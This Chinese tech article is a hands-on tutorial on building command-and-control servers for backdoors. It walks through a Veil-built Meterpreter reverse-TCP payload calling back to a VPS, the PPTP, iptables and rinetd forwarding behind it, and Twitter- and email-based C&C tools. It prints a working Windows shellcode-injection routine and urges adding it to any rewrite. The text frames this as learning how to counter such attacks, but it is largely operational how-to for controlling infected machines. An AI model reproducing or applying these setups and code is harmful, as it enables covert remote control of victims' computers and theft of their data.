隐秘通讯与跳板?C&C服务器究竟是怎么一回事

发表于:2016-09-23 10:30:00 来源:  黑客与极客 阅读数(0人)

C&C服务器,其全称为command and control server。我们在诸多文章中曾看到过,C&C服务器不仅可以为攻击者提供便利的资源管理平台,也可以保障其个人隐私安全。今天,我们就通过一个几个C&C服务器的搭建实验教程让大家了解一下什么是C&C服务器,以了解如何应对利用C&C的攻击行为。


无C&C服务器通讯


故事


某天,某攻击者通过固定的外网IP控制了一个处在外网的用户。两台设备的交流完全是点对点交流的,并且交流方式是主动式交流。




由于该用户由购买了几台电脑,一个IP已经不够用了,所以就在家里面配置了一台路由器。虽然用户可以访问外网,但是这样就导致用户所有的电脑设备都处在一个内网中。攻击者没有办法控制用户的电脑,所以又入侵了他的路由器做了一个端口转发,然后继续控制该用户。




VPN C&C服务器通讯


故事


随后该攻击者发现自己的外网IP属于动态IP地址。只要一断线,IP地址就会改变。为了能够持久的进行监听会话,攻击者租用了一台VPS服务器,在上面搭建了一个pptp代理,随后用iptable做了端口转发,并且将交流方式改为反弹式交流。




技术解析


有的时候,地方宽带运营商会有各种各样的规则,这样将会导致控制端的网络非常不稳定。记得我在2012年的时候是使用电信的宽带对后门进行控制,但是电信给我的IP属于一个内网IP。随后打电话给客服改成公网IP,但是这个IP是动态的,每天都在变化。这样复杂的网络环境,攻击者需要一个稳定和安全的C&C服务器。


以下为本次实验的环境:


win 10 一台


Kali Linux 一台


Linode VPS 一个


在这里,我们先使用Kali Linux作为控制端,win 10则为病毒感染的设备,而VPS则作为一个C&C服务器。首先在Linode上租用一台 VPS,我们可以看到这台VPS的公网IP为139.162.5.124。




为了方便教程,我使用Veil编译一个meterpreter的payload。其设置如下


监听IP:139.162.5.124(VPS的公网IP)


监听端口:1024(随意填写)


Payload种类:python/meterpreter/rev_tcp


加密方式:Pyherion




然后需要对VPS进行一个简单的设置,通过SSH连接VPS,然后进行update。




随后安装pptp的基本组件




对/etc/pptpd.conf文件进行编辑,添加Local IP地址和remote IP地址。


				   		

localip 192.168.0.1

remoteip 192.168.0.2



然后编辑/etc/ppp/chap-secrets文件,设置pptp的账号和密码。


				   		

freebuf pptpd freebuf *



然后再编辑/etc/ppp/options文件,将ms-dns设置为根服务器地址,如8.8.8.8之类的。




再继续编辑/etc/ppp/options文件,添加net.ipv4.ip_forward=1,其意义是使IP能够转发。保存后可以使用sysctl -p检查一下。





输入命令/etc/init.d/pptpd restart,让pptp服务重启,然后安装iptable,并且设置相关命令。

iptable安装:


apt-get install iptables

iptable设置:


1. iptables -t nat -A POSTROUTING -s 192.168.0.0/24 -o eth0 -j MASQUERADE

2. iptables-save > /etc/iptables.pptp

3. cd /etc/network/if-up.d/

4. vi iptables

						

写入以下内容

#!/bin/sh

iptables-restore < /etc/iptables.pptp

5. chmod +x /etc/network/if-up.d/iptables



到目前这一步pptp已经可以连接到外网了,但是还不够,我们需要对其进行端口转发。大家可以使用iptable继续来做端口转发,或者使用rinetd之类的端口转发工具。


安装rinetd:


sudo apt-get install rinetd



然后编辑/etc/rinetd.conf文件,写入0.0.0.0 1204 192.168.0.2 1204。其意义是把所有通过1024端口连接本机的IP映射到内网IP中的1024端口。




保存之后可以重启rinetd服务器,或者通过pkill命令关闭rinetd,然后通过该命令”rinetd -c /etc/rinetd.conf“调用刚才保存的conf文件开启rinetd程序。




对Kali中PPTP的连接做一下更改,主要是使用MPPE点对点加密连接,并且不发送PPP响应数据包。




VPN连接没什么问题




然后打开Metasploit,找到handler,并且对其进行设置。


监听IP:192.168.0.2

监听端口:1024



在win10客户端激活木马,然后可以看到handler和payload已经成功搭建起了会话。




也许教程有点绕,但是技术逻辑很清晰。首先是后门持续对VPS进行监听,而VPS则是把被监听端口的流量转发到自己的内网IP上,而客户端在连接到VPN后对这个内网IP进行监听即可。


如下图所示:




Web C&C服务器通信


故事


慢慢的,VPS服务器商场发现攻击者把一台VPS服务器当作C&C服务器。这个攻击者就思考得改变一下数据交流的方式,于是用微博当作C&C服务器。后门程序和控制程序内置爬虫脚本,通过XPath参数或者其它参数抓取微博中的内容,将其当作控制命令。




技术解析


这个最能拿来当作例子的应该是twitter,实际上攻击者依靠twitter当作C&C服务器早就不是新闻,比如2015年新闻《俄罗斯攻击者是如何滥用twitter作为Hammertoss C&C服务器的?》。还有的攻击者入侵Discuz论坛,把该论坛当作其C&C服务器。这种开放式的C&C有些是直接分析HTML代码,将特定的参数值当作命令进行处理,有些则是读取json数据等。


在GitHub上公布了一个开源的twitter后门程序,其项目名称叫做twittor。


项目地址:Twittor


这个项目的主要文件如下


implant.py

requirements.txt

twittor.py

看GitHub的官方设置,我们是到Twitter中创建一个application,并且通过pip安装requirement.txt里面的一些组件。




创建applocation还好理解,因为在implant.py文件中,它需要twitter的username,token和secret等参数来发送推文。




至于requirements.txt中只有一个python的第三方库需要安全,就是tweepy库。这个库主要功能是和twitter的API建立通讯。




观察implant.py,该文件调用了以下模块


from tweepy import Stream

from tweepy import OAuthHandler

from tweepy import API

from tweepy.streaming import StreamListener

from uuid import getnode as get_mac

import ctypes

import json

import threading

import subprocess

import base64

import platform

tweepy我们已经说过了,是关于twitter API通讯模块,而json模块主要是对json进行解析。而uuid模块主要是获取目标机器的MAC地址的。ctypes库主要是提供和C语言兼容的数据类型,可以很方便地调用C DLL中的函数,这样可以很方便和meterpreter兼容起来。该文件还调用了threading库,这样可以进行多线程任务。同时也调用了subprocess,这样可以创建多个子线程。base64库主要是对数据进行base64位转码,比如中文等等之类的。而platform库主要是查看其操作系统的类型,版本号等系统信息。


先创建twitter的key和access token。




然后开启可读可写权限




把各种token和secret填写到payload和handler内。




但是运行的时候却报错了。




google上有人说到,tweepy项目的某个人原本想用update_status做一个开始的连接测试,以保证自己编译的代码可以正常访问google API。但是在tweepy开发的过程中,不注意把这个参数作为了一个首要条件,导致所有凡是要调用tweepy库发推的人必须要先验证update_status。




只能在twiitor.py里面调用一下tweepy,然后写入api.update_status(status=m),不过测试的时候还是爆出相同的错误。




但是当我运行twittor.py的时候的确是可以收到信息的,这个就尴尬了。




google搜索没有结果,于是慢慢查看官方文档,最终找到了问题的出处。原来twitter官方已经不允许使用direct_message命令,同时也表示一个user token不允许在第三方平台登陆。




而我们代码内刚好就有一个direct_messages命令。估计twitter最近也是被twitter僵尸网络折磨怕了,才会出现相关规则。




精力有限,如果要让这个C&C上线,需要查看twitter官方文档,重新编写代码了。这个C&C的精华之处在于它把所有的所有的数据转换成base64位进行传播,并且可以插入任意shellcode的数据片到内存值中。也就是说,当该后门被激活的时候,你甚至可以插入meterpreter的shellcode。这个功能的核心代码为以下部分:


				   		

class ExecuteShellcode(threading.Thread):

def __init__(self, jobid, shellc):

threading.Thread.__init__(self)

self.shellc = shellc

self.jobid = jobid

self.daemon = True

self.start()

def run(self):

try:

shellcode = bytearray(self.shellc)

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),

ctypes.c_int(len(shellcode)),

ctypes.c_int(0x3000),

ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode)))

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),

ctypes.c_int(0),

ctypes.c_int(ptr),

ctypes.c_int(0),

ctypes.c_int(0),

ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))

except Exception as e:

print e

pass

具体的实现功能如下图所示:




如果有人要重新编写这个C&C,一定要加上这个功能啊!


Email C&C服务器通讯


故事


但是好景不长,有些攻击者发现这个微博号一直发一些奇怪的内容,深度挖掘之后发现这个微博号是一个C&C服务器。于是攻击者决定要搞一个绝对安全的C&C服务器,于是该攻击者决定在后门程序内加入smtp连接代码。从此该攻击者有了快乐开心的“抓鸡”生活。




技术解析


在“油管”上看到某个人录制的视频,代码也非常简单,很适合教学,于是便引用他的代码来进行讲解。他的后面程序是基于python来编写的。


文件下载下来后,发现有两个主要程序一个主要目录。




implant.py:payload

gcat.py:控制端

data目录:数据存放路径

我们先看看implant.py,在1至15行我们可以看到这个后门程序调用了以下的python模块。




以下是gcat.py调用的模块。模块功能我不做描述了,请自行google。但是有几个模块是十分重要的,就是emai, imaplib和json模块。这里主要是负责处理email的管理,连接,以及编码和解码邮件json数据。




两个模块都有以下四个主要常量,分别是邮箱号,密码,smtp服务器地址,和smtp端口。




然后我们一边操作一遍讲解相关代码吧。我们在这里是使用Veil-Evasion 的auxiliary/pyinstaller_wrapper组件进行编译。




PYTHON_SOURCE填写上implant.py的路径。




文件名我就叫C&C吧,然后选择默认的编译方式。




编译好后我复制到windows系统上,然后双击运行。




这时email收到了一份邮件,里面有我的系统进程,系统版本等详细信息。




通过payload代码中第504行开始(sendEmail Class),我们可以知道这里就是发送邮件的地方。首先该程序会以这个会话的ID为发件人发一封邮件到payload设置的邮箱里面。我们可以确定整个程序编译是没有任何问题的。




继续往下看看控制端程序(gcat.py)。从235行开始,我们可以知道它的全部命令。




往上继续看,原来这个data目录主要是存储屏幕截图的。




但是当我准备输入-list的时候出错了。连接居然超时了,这个很不正常啊!重新浏览了两个python脚本的代码,都正确啊。




当时我的内心是大写的崩溃。不怕代码出错误,就怕出了错误不知道在哪里。




Google的时候发现了这么一个东西。OMG!我设置的两个账号都是QQ和163的,原来是这个原因。




后面得知Gmail没问题。做做实验还可以,要实际使用就不行了,因为Gmail在国内早被墙了。要解决这个问题也可以,就是用php脚本进行编译,因为QQ,163等对于php的邮箱模块支持没什么问题。这里就不继续讲解了,文章主要是做一个演示的作用。




最后附上GitHub项目地址:Email C&C服务器相关代码


总结


故事


对了,忘记说那位攻击者了,最后这个攻击者还是被抓了。实在不甘心的他打算继承家业,他和我说他是一个隐形的富二代。我看他最近发的朋友圈,过的还算蛮不错的。


当了村干部,到处下乡视察。




演过很多电影和电视剧。




包养外围和学生妹。




从此走上了人生的巅峰。




至此这篇以C&C为主题的“故事”就结束了。实际上以上我提到的几个是C&C服务器只是非常基础的几个,还有URI C&C,Tor C&C,C&C of C&C,IRC C&C等,有时候我甚至有考虑过用QQ来做C&C。除了交流平台的众多不同外,还有交流的加密不同。


相关新闻

大家都在学

课程详情

虚拟专用网VPN

课程详情

网络安全与防护

课程详情

实用信息安全技术